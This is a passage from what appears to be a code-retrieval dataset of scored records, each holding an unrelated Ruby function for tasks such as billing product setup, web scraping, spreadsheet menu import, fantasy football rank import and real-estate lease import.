FList.from_str(doc)\n\t\tproduct = flist.to_hash\n\t\tproduct_code = product['PIN_FLD_PRODUCTS'][0]['PIN_FLD_CODE'] \n\t\t#|| abort \"Bad file: #{filename}\"\n\n resp = find_by('/product', 'PIN_FLD_CODE', product_code)\n if r = resp[\"PIN_FLD_RESULTS\"]\n r.each do |k, v|\n prod = read_obj(v[\"PIN_FLD_POID\"])\n req = <<~_flist_.strip\n 0 PIN_FLD_POID POID [0] #{prod['PIN_FLD_POID']}\n 0 PIN_FLD_PROGRAM_NAME STR [0] \"testnap\"\n 0 PIN_FLD_PRODUCTS ARRAY [0]\n 1 PIN_FLD_DELETED_FLAG INT [0] 1\n 1 PIN_FLD_CODE STR [0] \"#{prod['PIN_FLD_CODE']}\"\n 1 PIN_FLD_NAME STR [0] \"#{prod['PIN_FLD_NAME']}\"\n 1 PIN_FLD_TAILORMADE INT [0] #{prod['PIN_FLD_TAILORMADE']}\n _flist_\n resp = xop('PRICE_SET_PRICE_LIST', 0, req, \"Delete #{prod['PIN_FLD_POID']}\")\n end\n \n # Verify nothing there\n resp = find_by('/product', 'PIN_FLD_CODE', product_code)\n assert(!resp.has_key?(\"PIN_FLD_RESULTS\"), 'No existing product')\n else\n puts '# No existing prodcuts to delete'\n end\n\t\t\n # Create the product\n resp = xop('PRICE_SET_PRICE_LIST', 0, flist, \"create product.#{product_code}\")\n # Should return following for newly created product\n # {\"PIN_FLD_RESULT\"=>1, \"PIN_FLD_PRODUCTS\"=>{0=>{\"PIN_FLD_PRODUCT_OBJ\"=>\"0.0.0.1 /product 123 0\"}}, \"PIN_FLD_POID\"=>\"0.0.0.1 /dummy 1 0\"}\n\t\tassert_equal(resp['PIN_FLD_RESULT'], 1, 'PRICE_SET_PRICE_LIST should return 1');\n @product_poid = resp['PIN_FLD_PRODUCTS'][0]['PIN_FLD_PRODUCT_OBJ']\n assert(@product_poid.size > 0, 'New product created')\n\t\tproduct\n end", "title": "" }, { "docid": "2947642a3728e31bab243e618e75c8e9", "score": "0.47611415", "text": "def process_1200x(*files)\n files, o = files.extract_options\n\n files.find_all { |pa|\n %w[00 10 detail1].include? pa.name.sub(/^pro\\./, '')\n }.each { |pa|\n ::Pajama.ui.say \"process 1200x: #{pa}\"\n process = Underwear.new(pa, o)\n process.process_1200x\n }\n end", "title": "" }, { "docid": "754cf838cf3b5a98b1105bef3b72103e", "score": "0.47571996", "text": "def generate_sewa_report\n begin\n\n event_registration = EventRegistration.new\n\n event = Event.find_by_id(params[:event_id])\n\n raise SyException, \"Please select a valid event.\" unless event.present?\n\n line_item_ids = event.event_registrations.pluck(:event_order_line_item_id)\n\n raise SyException, \"No registration found.\" unless line_item_ids.present?\n\n line_items = EventOrderLineItem.includes({sadhak_profile: [:sadhak_seva_preference]}, :event_order, :event_registration).where(id: line_item_ids, available_for_seva: true)\n\n raise SyException, \"No registration found.\" unless line_items.present?\n\n data = event_registration.generate_sewa_profile_report(line_items, event)\n\n if data.present? and data[:rows].count > 0\n blob = GenerateExcel.generate(data)\n end\n\n rescue => e\n is_error = true\n message = e.message\n end\n\n unless is_error\n send_data blob, :filename => \"#{event.try(:event_name_with_location)}_seva_profile_list_#{event.id}_#{DateTime.now.strftime('%F %T')}_#{DateTime.now.to_i}.xls\"\n else\n flash[:alert] = message\n redirect_back(fallback_location: proc { root_path })\n end\n\n end", "title": "" }, { "docid": "14a74caa1f435d6668afbe82f5c2ae30", "score": "0.4756203", "text": "def getBillingData(page)\n summary = page.search(\"/html/body/div[@id='doc4']/div[@id='bd']/div[@id='yui-main']/div[@class='yui-b']/div[@class='yui-gc']/\n div[@id='activity_table_block']/div[@id='billingSummary']\").first\n service_charge = summary.xpath(\"div[@class='marketplace']/div[@class='hdrdkorange']/span[@class='amount']\").text()\n \n downloadLineData = page.search(\"/html/body/div[@id='doc4']/div[@id='bd']/div[@id='yui-main']/div[@class='yui-b']/div[@class='yui-gc']/\n div[@id='activity_table_block']/div[@id='activity_tab_block']/div[@class='yui-content']/\n div[@id='account_activity_table_tab_content']\").first\n \n products = downloadLineData.xpath(\"//span[@class='hdrdkorange']\")\n \n awsStatementItemArray = Array.new\n \n # Iterating over the array of Products\n for prdCntr in 0..products.length-1\n product = String.new(products[prdCntr])\n \n if(product =~ /Amazon Elastic(.*)/)\n region_array= downloadLineData.xpath(\"//tr[starts-with(@id, 'AmazonEC2')]\")\n \n # Iterating over the array of Regions\n for rgnCntr in 0..region_array.length-1\n \n #find a particular region that end with \"region\"\n regions = String.new(region_array[rgnCntr])\n if(regions =~ /Region$/)\n puts regions\n end \n \n # Find all usage Types belonging to a region\n usageTypes = region_array.xpath(\"//td[contains(@class, 'bordgreybot txtxsm bold padlt20')]\")\n \n for usageTypeCntr in 0..usageTypes.length-1\n puts usageTypes[usageTypeCntr].text()\n end\n \n awsStatementItem = AwsStatementItem.new\n awsStatementItem.product=product\n awsStatementItemArray.push awsStatementItem\n \n writeToCSV(awsStatementItemArray)\n \n end\n end \n end\n \n end", "title": "" }, { "docid": "f96027c44c027bd951bebf054b41689f", "score": "0.47560838", "text": "def modify\n rows = open_import_file\n row_num = 2\n field = rows.first\n rows.each do |row|\n next if row['dummy'].to_s.strip.present?\n import_result = ResourceImportResult.create!(:resource_import_file => self, :body => row.fields.join(\"\\t\"))\n item_identifier = row['item_identifier'].to_s.strip\n item = Item.where(:item_identifier => item_identifier).first if item_identifier.present?\n if item.try(:manifestation)\n begin\n fetch(row, :edit_mode => 'update')\n options = {}\n checkout_type = CheckoutType.where(:name => row['checkout_type'].to_s.strip).first if row['checkout_type']\n options[:checkout_type] = checkout_typs if checkout_type\n shelf = Shelf.where(:name => row['shelf'].to_s.strip).first if row['shelf']\n options[:shelf] = shelf if shelf\n circulation_status = CirculationStatus.where(:name => row['circulation_status'].to_s.strip).first if row['circulation_status']\n options[:circulation_status] = circulation_status if circulation_status\n if row['include_supplements']\n if row['include_supplements'].blank?\n options[:include_supplements] = false\n else\n options[:include_supplements] = true\n end\n end\n bookstore = Bookstore.where(:name => row['bookstore'].to_s.strip).first if row['bookstore']\n options[:bookstore] = bookstore if bookstore\n options[:call_number] = row['call_number'].to_s.strip if row['call_number'] && !row['call_number'].blank?\n options[:price] = row['price'] if row['price'] && !row['price'].blank?\n self.class.update_item(item, options)\n import_result.manifestation = item.manifestation\n import_result.item = item\n\n import_result.error_msg = I18n.t('resource_import_file.reserved_item', :username => import_result.item.reserve.user.username, :user_number => import_result.item.reserve.user.user_number) if import_result.item.reserve\n rescue Exception => e\n import_result.error_msg = \"FAIL[#{row_num}]: #{e.message}\"\n Rails.logger.info(\"resource registration failed: column #{row_num}: #{e.message}\")\n end\n else\n import_result.error_msg = \"FAIL[#{row}]: #{item_identifier} does not exist\"\n end\n import_result.save!\n row_num += 1\n end\n end", "title": "" }, { "docid": "3496bb33e1895d3ac6e6ebe533cab291", "score": "0.47538015", "text": "def descargar(url_excel = @catalogos_url)\n\n begin\n puts \"Descargando archivo de Excel desde el SAT: #{url_excel}\"\n url_excel = URI.parse(url_excel)\n bytesDescargados = 0 \n \n httpWork = Net::HTTP.start(url_excel.host) do\n |http|\n response = http.request_head(url_excel.path)\n totalSize = response['content-length'].to_i\n @local_last = response['Last-Modified']\n pbar = ProgressBar.create(:title => \"Descargando:\", :format => \"%t %B %p%% %E\")\n \n tempdir = Dir.tmpdir()\n \n File.open(\"#{tempdir}/catalogo.xls\", \"wb\") do |f|\n http.get(url_excel.path) do |str|\n bytesDescargados += str.length \n relation = 100 * bytesDescargados / totalSize\n pbar.progress = relation\n f.write str \n end\n pbar.finish()\n \n end\n puts \"Descarga de Excel finalizada, guardado en #{tempdir}/catalogo.xls\" \n end\n rescue => e\n puts \"Error al momento de descargar: #{e.message}\"\n raise\n end\n\n return true\n\n end", "title": "" }, { "docid": "c7c25757c928fb6177dd18dc97abe36b", "score": "0.47498322", "text": "def rpt_stocks3\n @company=Company.find(params[:company_id]) \n @fecha1 = params[:fecha1] \n @fecha2 = params[:fecha2] \n @categoria =params[:products_category_id]\n\n\n @movements = @company.get_movement_stocks(@fecha1,@fecha2,@categoria) \n \n Prawn::Document.generate(\"app/pdf_output/stocks3.pdf\") do |pdf| \n pdf.font \"Helvetica\"\n pdf = build_pdf_header3(pdf)\n pdf = build_pdf_body3(pdf)\n build_pdf_footer3(pdf)\n $lcFileName = \"app/pdf_output/stocks3.pdf\" \n \n end \n\n $lcFileName1=File.expand_path('../../../', __FILE__)+ \"/\"+$lcFileName \n send_file(\"app/pdf_output/stocks3.pdf\", :type => 'application/pdf', :disposition => 'inline')\n end", "title": "" }, { "docid": "c0d9e8dd4ceb7b3424e389730e278773", "score": "0.4745348", "text": "def import_product_pages\n \tstore = Store.find_by_id(params[:id])\n \t\n raw_prod = RawProduct.where(store_id: store.id)\n term = StoreScrapeTerm.find_by_store_id(store.id)\n \tagent = Mechanize.new\n\n \traw_prod.each do |prod|\n \t\turl = prod.url\n puts 'URL: ' + url.to_s\n \t\tproduct_page = agent.get(url)\n\n \t\ttitle = eval(term.product_title)\n \t\tsale_price = eval(term.sale_price)\n\n #not always an original price\n original_price = \"\"\n if term.original_price && eval(term.original_price)\n \t\t original_price = eval(term.original_price)\n end\n \t\tshipping = eval(term.shipping)\n \t\tstock = eval(term.stock)\n\n \t\t#prod = Product.find_or_create_by(manufacturer_id: manufacturer.id, title: title)\n \t\tupdated_product = prod.update_attributes(product_title: title, sale_price: sale_price, original_price: original_price, shipping: shipping, stock: stock)\n prod.match_to_store_product\n #Only checking Shopify options for now\n if term.option_container != \"\"\n \toptions = eval(term.option_container)\n \t\toptions.each do |option|\n \t\t\top_title = title + \" \" + eval(term.option_title)\n op_price = eval(term.option_price)\n \t\t\toption_prod = RawProduct.create(store_id: store.id, url: url, product_title: op_title, sale_price: op_price, shipping: shipping)\n \t\t option_prod.match_to_store_product\n end\n \tend\n end\n redirect_to('/store/show/' + store.id.to_s)\n end", "title": "" }, { "docid": "a74830d210b4096242827d2dad5dc6f3", "score": "0.4742029", "text": "def scrape_files()\n\n files.each do |filename|\n\n file = File.open(filename)\n sku = File.basename(file).delete(\".html\")\n\n res = Nokogiri::HTML(file) do |config|\n config.strict.noblanks\n end\n\n headings = res.css(\"table.specsTable thead\")\n\n headings.each do |heading|\n\n rawheading = heading\n heading = heading.text.strip\n labels = rawheading.next_sibling.css(\".label\")\n\n labels.each do |label|\n\n rawlabel = label\n label = label.text.strip\n lis = rawlabel.next_sibling.next_sibling.css(\"li\")\n\n if lis.length > 0\n\n arr = []\n\n lis.each do |li|\n arr << li.text.strip\n end\n\n arr.each do |el|\n line = joinLines(cleanit([sku, heading, label, el]))\n @out << line\n end\n\n else\n\n line = joinLines(cleanit([sku, heading, label, rawlabel.next_sibling.next_sibling.text.strip.split(\"\\r\\n\").join(\"; \")]))\n\n if !line.empty?\n @out << line\n end\n\n end\n end\n end\n end\n\n @out = @out.join(\"\\n\").split(\"\\n\")\n\n File.open(\"output2.txt\", \"w\") do |file|\n file.write([\"sku\", \"attr_code\", \"value_or_response_code\", \"combo_desc\", \"data_type\", \"min_res\", \"max_res\", \"precision\", \"nil\", \"heading\",\"label_raw\", \"value\"].join(\"\\t\") +\"\\n\")\n file.write(@out.uniq.join(\"\\n\"))\n end\n\n end", "title": "" }, { "docid": "60bcdfc8c1a6b1aed9e20583c7901e56", "score": "0.47396424", "text": "def import(week = GameWeek.current.week, positions = %w[quarterback wide-receiver running-back tight-end defense-special-teams kicker])\n importing(week) do\n if SLUGS.values.first.size < week\n import_log \"No slugs for week #{week}\"\n return\n end\n new_records = 0\n updated_records = 0\n ranks_to_save = Array(positions).flatten.shuffle.map do |position|\n import_log \"loading rankings for #{position}\"\n user_agent = ExpertRank::ImporterUserAgents.shuffle.first\n page_id = SLUGS[position][week - 1]\n\n h = open(\"http://sports.yahoo.com/news/week-#{week}-rankings--#{position}-#{page_id}.html\", 'User-Agent'=> user_agent).read\n week_returned = h[/More Week (\\d+) Rankings/, 1].to_i\n\n if week_returned != week\n import_log \"WARNING: Requested week #{week} but got #{week_returned}. Skipping.\"\n next []\n end\n\n doc = Nokogiri::HTML(h)\n t = doc.at('.body table')\n rows = t.css('tr')\n import_log \"rows for #{position}: #{rows.size}\"\n player_rows = rows[2..-1]\n\n # TODO make sure we extract values for at least 30 or so rows to\n # warn against markup format changes that might cause this to silently do\n # nothing without failing.\n player_rows.map do |row|\n columns = row.css('td')[0...-1] # Skip the last column which is a link\n columns.first.text =~ /^(\\d+)\\. (.+)$/\n overall_rank = $1.to_i\n player_name = $2\n\n if position == 'defense-special-teams'\n team_name = player_name.split[0..-2].join(' ')\n if team = Player.where(full_name: team_name, team_full_name: player_name).take\n player_key = team.yahoo_key\n else\n import_log \"couldn't find team named: #{team_name}. Skipping.\"\n next\n end\n else\n player_id = columns.first.at('a').attributes['href'].value[%r[players/(\\d+)], 1]\n player_key = \"314.p.#{player_id}\"\n end\n\n rank_values = {yahoo_player_key: player_key, week: week, overall_rank: overall_rank, position_type: position}\n individual_ranks = columns[1..-1].map(&:text).map {|rank| rank == '-' ? 0 : rank.to_i }\n ranks_by_expert = Hash[\n *individual_ranks.each_with_index.map do |rank, index|\n [:\"expert_#{index+1}_rank\", individual_ranks[index]]\n end.flatten\n ]\n\n rank_values.update(ranks_by_expert)\n if existing_expert_rank = ExpertRank.where(week: week, yahoo_player_key: player_key).first\n existing_expert_rank.attributes = rank_values\n if existing_expert_rank.changed?\n updated_records += 1\n existing_expert_rank\n else\n nil\n end\n else\n new_records += 1\n ExpertRank.new(rank_values)\n end\n end\n end.flatten.compact\n\n if ranks_to_save.empty?\n import_log \"nothing to import\"\n else\n import_log \"new_records: #{new_records}\"\n import_log \"updated_records: #{updated_records}\"\n import_log \"ranks_to_save: #{ranks_to_save.size}\"\n ranks_to_save.each(&:save)\n ranks_to_save.map(&:player).compact.each(&:touch)\n end\n end\n end", "title": "" }, { "docid": "158d2bbca40193c8e386a14c9f7531b6", "score": "0.4739368", "text": "def load_imported_menu(file)\n spreadsheet = open_spreadsheet(file)\n\n for planilha in 0..spreadsheet.sheets.size-1 do\n\n first_row = spreadsheet.sheet(planilha).first_row\n \n break if first_row.nil?\n # We use this part to easy correct index for each row\n datas = first_row + 2\n desjejum_inicio = first_row + 4\n desjejum_fim = first_row + 13\n almoco_inicio = first_row + 15\n almoco_fim = first_row + 22\n jantar_inicio = first_row + 24\n jantar_fim = first_row + 33\n \n # DATAS E DIAS\n datas = spreadsheet.sheet(planilha).row(datas).compact\n dias = datas.size\n \n opcoes = Array.new\n cardapios = Array.new\n \n desjejum = Hash.new\n desjejuns = Array.new\n \n almoco = Hash.new\n almocos = Array.new\n \n jantar = Hash.new\n jantares = Array.new\n \n # DESJEJUM \n for i in desjejum_inicio..desjejum_fim do\n opcoes << spreadsheet.sheet(planilha).row(i).drop(1)\n end\n \n opcoes_descricao = [\"hot_drinks\", \"vegetarian_drink\", \"chocolate_milk\", \"bread\", \n \"vegetarian_bread\", \"margarine\", \"vegetarian_margarine\",\n \"complement\", \"vegetarian_complement\", \"fruit\"]\n \n opcoes_descricao.each do |op_d|\n desjejum[op_d] = opcoes.first\n opcoes.shift\n end\n \n # ALMOÇO\n for i in almoco_inicio..almoco_fim do\n opcoes << spreadsheet.sheet(planilha).row(i).drop(1)\n end\n \n opcoes_descricao = [\"salad\",\"sauce\",\"main_course\",\"garnish\",\n \"vegetarian_dish\",\"accompaniments\",\"dessert\",\n \"juice\"]\n \n \n opcoes_descricao.each do |op_d|\n almoco[op_d] = opcoes.first\n opcoes.shift\n end\n \n # JANTAR\n for i in jantar_inicio..jantar_fim do\n opcoes << spreadsheet.sheet(planilha).row(i).drop(1)\n end\n \n opcoes_descricao = [\"salad\", \"sauce\", \"soup\", \"main_course\", \n \"vegetarian_dish\", \"accompaniments\", \"dessert\",\n \"juice\"]\n \n opcoes_descricao.each do |op_d|\n jantar[op_d] = opcoes.first\n opcoes.shift\n end\n \n # DIAS \n dias.times do |i|\n \n # Cria novo cardapio\n date = (datas[i].last(5).gsub('.', '/') + \"/2018\").to_date\n cardapios[i] = Menu.where(date: date).first_or_initialize\n cardapios[i].save\n \n # Cria desjejum e atribui ao cardapio\n desjejuns[i] = Breakfast.new\n desjejuns[i].menu_id = cardapios[i].id \n desjejuns[i].save\n \n # Passa da lista de atributos para atributos dos objetos\n desjejum.each_key do |key|\n desjejuns[i].update_attribute(key.to_sym, desjejum[key][i])\n end\n \n # Cria almoco e atribui ao cardapio\n almocos[i] = Lunch.new\n almocos[i].menu_id = cardapios[i].id\n almocos[i].save\n \n # Passa da lista de atributos para atributos dos objetos\n almoco.each_key do |key|\n almocos[i].update_attribute(key.to_sym, almoco[key][i])\n end\n \n # Cria jantar e atribui ao cardapio\n jantares[i] = Dinner.new\n jantares[i].menu_id = cardapios[i].id\n jantares[i].save\n \n # Passa da lista de atributos para atributos dos objetos\n jantar.each_key do |key|\n jantares[i].update_attribute(key.to_sym, jantar[key][i])\n end\n \n # Checa se o cardápio não foi preenchido\n unless cardapios[i].breakfast.hot_drinks.present?\n cardapios[i].destroy\n end\n \n end\n \n end\n \n end", "title": "" }, { "docid": "408f9905ac7d23cee11e4285a7a6b2d9", "score": "0.4732003", "text": "def get_product( row )\n puts \"get product row:\" + row.join(\"--\")\n variant = Variant.find_by_sku( at_in(:sku , row ) )\n \n prod = Product.find_by_name( at_in(:name , row ) )\n puts variant\n \n if !variant.nil?\n puts \"Found Variant by SKU: #{at_in(:sku,row)} \"\n variant.product \n elsif !prod.nil?\n puts \"Found Product by Name: #{at_in(:name,row)} \"\n prod\n else \n puts \"Creating new product harness.\"\n p = Product.find_or_create_by_name( :name => \"sku\" , :price => 5 , :sku => \"sku\")\n p.save!\n master = Variant.find_by_sku(\"sku\")\n master.product = Product.find_by_name(\"sku\")\n master.save\n Product.find_by_name(\"sku\")\n end\n end", "title": "" }, { "docid": "851fdf5e841e57bb9432f91e2ffe2f89", "score": "0.47227687", "text": "def import_occupancy_and_leasing_details(oo)\n if !read_via_numeral(1,1).nil? && date_fetch(1,\"A\") == :date\n month,year=read_via_numeral(1,1).to_date.month,read_via_numeral(1,1).to_date.year\n row,head_row,column=9,7,1\n title_and_column={}\n title=[\"unit\",\"sf\",\"tenant\",\"spacetype\",\"termstart\",\"termend\",\"base\",\"effective\",\"ti's\",\"lc's\",\"options/comments\"]\n title.push \"securitydeposit\" if @cur_parse_type == 'AMP'\n while column <=16\n if !read_via_numeral(head_row,column).nil? && !read_via_numeral(head_row,column).downcase.match(/(months)/)\n if read_via_numeral(head_row,column).downcase.gsub(' ','')==\"dateexecuted\" or read_via_numeral(head_row,column).downcase.gsub(' ','')==\"leasedate\"\n title_and_column.store(\"dateexecuted\",column)\n elsif read_via_numeral(head_row,column).downcase.gsub(' ','').include? 'base' or read_via_numeral(head_row,column).downcase.gsub(' ','').include? \"effective\"\n title_and_column.store(read_via_numeral(head_row,column).downcase.gsub(' ','').include?(\"base\") ? 'base' : 'effective',column)\n elsif title.include?(read_via_numeral(head_row,column).downcase.gsub(' ',''))\n title_and_column.store(read_via_numeral(head_row,column).downcase.gsub(' ','').gsub(\"'s\",\"s\").gsub('/',''),column)\n end\n end\n column=column+1\n end\n suites = Suite.find_all_by_real_estate_property_id(@prop_id).map(&:id)\n PropertyLease.delete_all(['month = ? and year = ? and property_suite_id IN (?) and occupancy_type != ? ', month, year, suites,'current'] ) if !suites.nil? and !suites.empty?\n PropertyOccupancySummary.delete_all(['real_estate_property_id = ? and month = ? and year = ?',@prop_id, month, year])\n while(row <=find_last_base_cell) do\n if !read_via_numeral(row,1).nil? and read_via_numeral(row,1).class == String and !([\"total expiry\",\"total new\",\"total renewal\",\"total future commencements\",\"occupancy statistics\",\"tenant occupancy\"].include?(read_via_numeral(row,1).downcase.strip))\n occupancy_type,row=read_via_numeral(row,1).downcase.strip,row+1\n while(row <=find_last_base_cell) do\n if !read_via_numeral(row,3).nil?\n #Leading zero truncation added .gsub!(/^0+/,'')\n prop_suite = Suite.find(:all, :conditions=>['real_estate_property_id = ? and suite_no = ? and space_type = ? and rentable_sqft =?', @prop_id,read_via_numeral(row,title_and_column[\"unit\"]).to_s.gsub('.0', ''),read_via_numeral(row,title_and_column[\"spacetype\"]).downcase,read_via_numeral(row,title_and_column[\"sf\"])])\n prop_suite=prop_suite[0] unless prop_suite.blank?\n # modified based on the Lease Mgmt DB structure\n if !(read_via_numeral(row,title_and_column[\"termstart\"]).nil? && read_via_numeral(row,title_and_column[\"termend\"]).nil? ) && occupancy_type != \"expirations\" #&& (read_via_numeral(row,title_and_column[\"termstart\"]) <= Date.today && read_via_numeral(row,title_and_column[\"termend\"]) >= Date.today ) #added to check whether the suite is vacant\n #Leading zero truncation added .gsub!(/^0+/,'')\n\n mtm = read_via_numeral(row,title_and_column[\"termend\"]) < Date.today ? 1 : 0\n\n #Conditions for multiple suites present#\n prop_suite_arr = []\n suite_number = read_via_numeral(row,title_and_column[\"unit\"]).to_s.gsub('.0', '')\n if suite_number.include?(',') || suite_number.include?('/')\n suite_array = suite_number.split(',') if suite_number.include?(',')\n suite_array = suite_number.split('/') if suite_number.include?('/')\n suite_array.each do |val|\n find_suite = Suite.find_by_suite_no_and_real_estate_property_id(val,@prop_id)\n if !find_suite.present?\n rentable_sqft = read_via_numeral(row,title_and_column[\"sf\"]).to_f / suite_array.size #Total Sqft divided equally based on array size. Each suite will have same sqft#\n prop_suite=Suite.new\n prop_suite.real_estate_property_id=@prop_id\n prop_suite.suite_no=val\n prop_suite.rentable_sqft=rentable_sqft\n prop_suite.space_type=read_via_numeral(row,title_and_column[\"spacetype\"]).downcase\n prop_suite.user_id=@curr_user\n prop_suite.status='Occupied'\n prop_suite.save\n prop_suite_arr << prop_suite\n else\n prop_suite=Suite.find_or_create_by_suite_no_and_real_estate_property_id(:real_estate_property_id=>@prop_id,:suite_no=>val,:rentable_sqft=>read_via_numeral(row,title_and_column[\"sf\"]),:space_type=>read_via_numeral(row,title_and_column[\"spacetype\"]).downcase,:user_id=>@curr_user,:status=>'Occupied') if prop_suite.blank?\n prop_suite_arr << prop_suite\n end\n end\n else\n prop_suite=Suite.find_or_create_by_suite_no_and_real_estate_property_id(:real_estate_property_id=>@prop_id,:suite_no=>read_via_numeral(row,title_and_column[\"unit\"]).to_s.gsub('.0', ''),:rentable_sqft=>read_via_numeral(row,title_and_column[\"sf\"]),:space_type=>read_via_numeral(row,title_and_column[\"spacetype\"]).downcase,:user_id=>@curr_user,:status=>'Occupied') if prop_suite.blank?\n prop_suite_arr << prop_suite\n end\n\n prop_suite_arr.present? && prop_suite_arr.each do |prop_suite|\n tenant = Tenant.create(:tenant_legal_name=>read_via_numeral(row,title_and_column[\"tenant\"]))\n lease = Lease.create(:commencement=> read_via_numeral(row,title_and_column[\"termstart\"]), :expiration=>read_via_numeral(row,title_and_column[\"termend\"]),:execution=>read_via_numeral(row,title_and_column[\"dateexecuted\"]),:occupancy_type=>occupancy_type,:status =>'Active',:real_estate_property_id=>@prop_id,:is_executed=>1,:user_id=>@curr_user,:effective_rate=>read_via_numeral(row,title_and_column[\"effective\"]),:mtm=>mtm)\n PropertyLeaseSuite.find_or_create_by_lease_id_and_tenant_id(:suite_ids=>[prop_suite.id],:lease_id=>lease.id,:tenant_id=>tenant.id)\n explanation =LeasesExplanation.create(:lease_id=>lease.id,:real_estate_property_id=>@prop_id,:explanation=>read_via_numeral(row,title_and_column[\"optionscomments\"]),:occupancy_type=>occupancy_type,:user_id=>@curr_user,:month=>Date.today.month,:year=>Date.today.year)\n rent = Rent.create(:lease_id=>lease.id)\n RentSchedule.find_or_create_by_suite_id(:suite_id=>prop_suite.id, :amount_per_month=>read_via_numeral(row,title_and_column[\"base\"]),:rent_id=>rent.id)\n capex = CapEx.find_or_create_by_lease_id(:lease_id=>lease.id,:security_deposit_amount=>title_and_column[\"securitydeposit\"].nil? ? nil : read_via_numeral(row,title_and_column[\"securitydeposit\"]))\n TenantImprovement.find_or_create_by_cap_ex_id(:cap_ex_id=>capex.id,:total_amount=>read_via_numeral(row,title_and_column[\"tis\"]))\n LeasingCommission.find_or_create_by_cap_ex_id(:cap_ex_id=>capex.id,:total_amount=>read_via_numeral(row,title_and_column[\"lcs\"]))\n end\n else\n # for vacant suites, expired leases\n\n #Conditions for multiple suites present#\n prop_suite_arr = []\n suite_number = read_via_numeral(row,title_and_column[\"unit\"]).to_s.gsub('.0', '')\n if suite_number.include?(',') || suite_number.include?('/')\n suite_array = suite_number.split(',') if suite_number.include?(',')\n suite_array = suite_number.split('/') if suite_number.include?('/')\n suite_array.each do |val|\n find_suite = Suite.find_by_suite_no_and_real_estate_property_id(val,@prop_id)\n if !find_suite.present?\n rentable_sqft = read_via_numeral(row,title_and_column[\"sf\"]).to_f / suite_array.size #Total Sqft divided equally based on array size. Each suite will have same sqft#\n prop_suite=Suite.new\n prop_suite.real_estate_property_id=@prop_id\n prop_suite.suite_no=val\n prop_suite.rentable_sqft=rentable_sqft\n prop_suite.space_type=read_via_numeral(row,title_and_column[\"spacetype\"]).downcase\n prop_suite.user_id=@curr_user\n prop_suite.status='Vacant'\n prop_suite.save\n prop_suite_arr << prop_suite\n else\n prop_suite=Suite.find_or_create_by_suite_no_and_real_estate_property_id(:real_estate_property_id=>@prop_id,:suite_no=>val,:rentable_sqft=>read_via_numeral(row,title_and_column[\"sf\"]),:space_type=>read_via_numeral(row,title_and_column[\"spacetype\"]).downcase,:user_id=>@curr_user,:status=>'Occupied') if prop_suite.blank?\n prop_suite_arr << prop_suite\n end\n end\n else\n prop_suite=Suite.find_or_create_by_suite_no_and_real_estate_property_id(:real_estate_property_id=>@prop_id,:suite_no=>read_via_numeral(row,title_and_column[\"unit\"]).to_s.gsub('.0', ''),:rentable_sqft=>read_via_numeral(row,title_and_column[\"sf\"]),:space_type=>read_via_numeral(row,title_and_column[\"spacetype\"]).downcase,:user_id=>@curr_user,:status=>'Occupied') if prop_suite.blank?\n prop_suite_arr << prop_suite\n end\n prop_suite_arr.present? && prop_suite_arr.each do |prop_suite|\n tenant = Tenant.create(:tenant_legal_name=>read_via_numeral(row,title_and_column[\"tenant\"]))\n lease = Lease.create(:commencement=> read_via_numeral(row,title_and_column[\"termstart\"]), :expiration=>read_via_numeral(row,title_and_column[\"termend\"]),:execution=>read_via_numeral(row,title_and_column[\"dateexecuted\"]),:occupancy_type=>occupancy_type,:status =>'Inactive',:real_estate_property_id=>@prop_id,:is_executed=>1,:user_id=>@curr_user,:effective_rate=>read_via_numeral(row,title_and_column[\"effective\"]))\n PropertyLeaseSuite.find_or_create_by_lease_id_and_tenant_id(:suite_ids=>[prop_suite.id],:lease_id=>lease.id,:tenant_id=>tenant.id)\n explanation =LeasesExplanation.create(:lease_id=>lease.id,:real_estate_property_id=>@prop_id,:explanation=>read_via_numeral(row,title_and_column[\"optionscomments\"]),:occupancy_type=>occupancy_type,:user_id=>@curr_user,:month=>Date.today.month,:year=>Date.today.year)\n rent = Rent.create(:lease_id=>lease.id)\n RentSchedule.find_or_create_by_suite_id(:suite_id=>prop_suite.id, :amount_per_month=>read_via_numeral(row,title_and_column[\"base\"]),:rent_id=>rent.id)\n capex = CapEx.find_or_create_by_lease_id(:lease_id=>lease.id,:security_deposit_amount=>title_and_column[\"securitydeposit\"].nil? ? nil : read_via_numeral(row,title_and_column[\"securitydeposit\"]))\n TenantImprovement.find_or_create_by_cap_ex_id(:cap_ex_id=>capex.id,:total_amount=>read_via_numeral(row,title_and_column[\"tis\"]))\n LeasingCommission.find_or_create_by_cap_ex_id(:cap_ex_id=>capex.id,:total_amount=>read_via_numeral(row,title_and_column[\"lcs\"]))\n end\n end\n end\n break if read_via_numeral(row,1).class == String && read_via_numeral(row,2).nil?\n row=row+1\n end\n elsif !read_via_numeral(row,1).nil? && read_via_numeral(row,1).class == String && (read_via_numeral(row,1).downcase.strip==\"occupancy statistics\" || read_via_numeral(row,1).downcase.strip.include?(\"tenant occupancy\") )\n for new_row in row..find_last_base_cell\n for col in 1..2\n if !read_via_numeral(new_row,col).nil? && read_via_numeral(new_row,col).class == String\n if read_via_numeral(new_row, col).downcase.match(/building rentable square feet/)\n up_col = find_column_for_sum_value(new_row,col+1,oo)\n prop_occup_summary=CommercialLeaseOccupancy.find_or_create_by_real_estate_property_id(:real_estate_property_id=>@prop_id)\n prop_occup_summary.update_attributes(:month=>month,:year=>year,:total_building_rentable_s=>read_via_numeral(new_row,up_col))\n elsif read_via_numeral(new_row, col).downcase.match(/sf occupied as of/)\n if read_via_numeral(new_row+1, col).nil?\n up_col = find_column_for_sum_value(new_row,col+1,oo)\n prop_occup_summary.update_attributes(:last_year_sf_occupied_actual=>read_via_numeral(new_row,up_col),:last_year_sf_occupied_budget=>read_via_numeral(new_row,up_col+1))\n elsif read_via_numeral(new_row+1, col).downcase.match(/occupancy/)\n up_col = find_column_for_sum_value(new_row,col+1,oo)\n prop_occup_summary.update_attributes(:current_year_sf_occupied_actual=>read_via_numeral(new_row,up_col),:current_year_sf_occupied_budget=>read_via_numeral(new_row,up_col+1))\n end\n elsif read_via_numeral(new_row, col).downcase.match(/sf occupied/)\n if read_via_numeral(new_row+1, col).downcase.match(/occupancy/)\n up_col = find_column_for_sum_value(new_row,col+1,oo)\n prop_occup_summary.update_attributes(:current_year_sf_occupied_actual=>read_via_numeral(new_row,up_col),:current_year_sf_occupied_budget=>read_via_numeral(new_row,up_col+1))\n end\n elsif read_via_numeral(new_row, col).downcase.match(/sf vacant/)\n up_col = find_column_for_sum_value(new_row,col+1,oo)\n 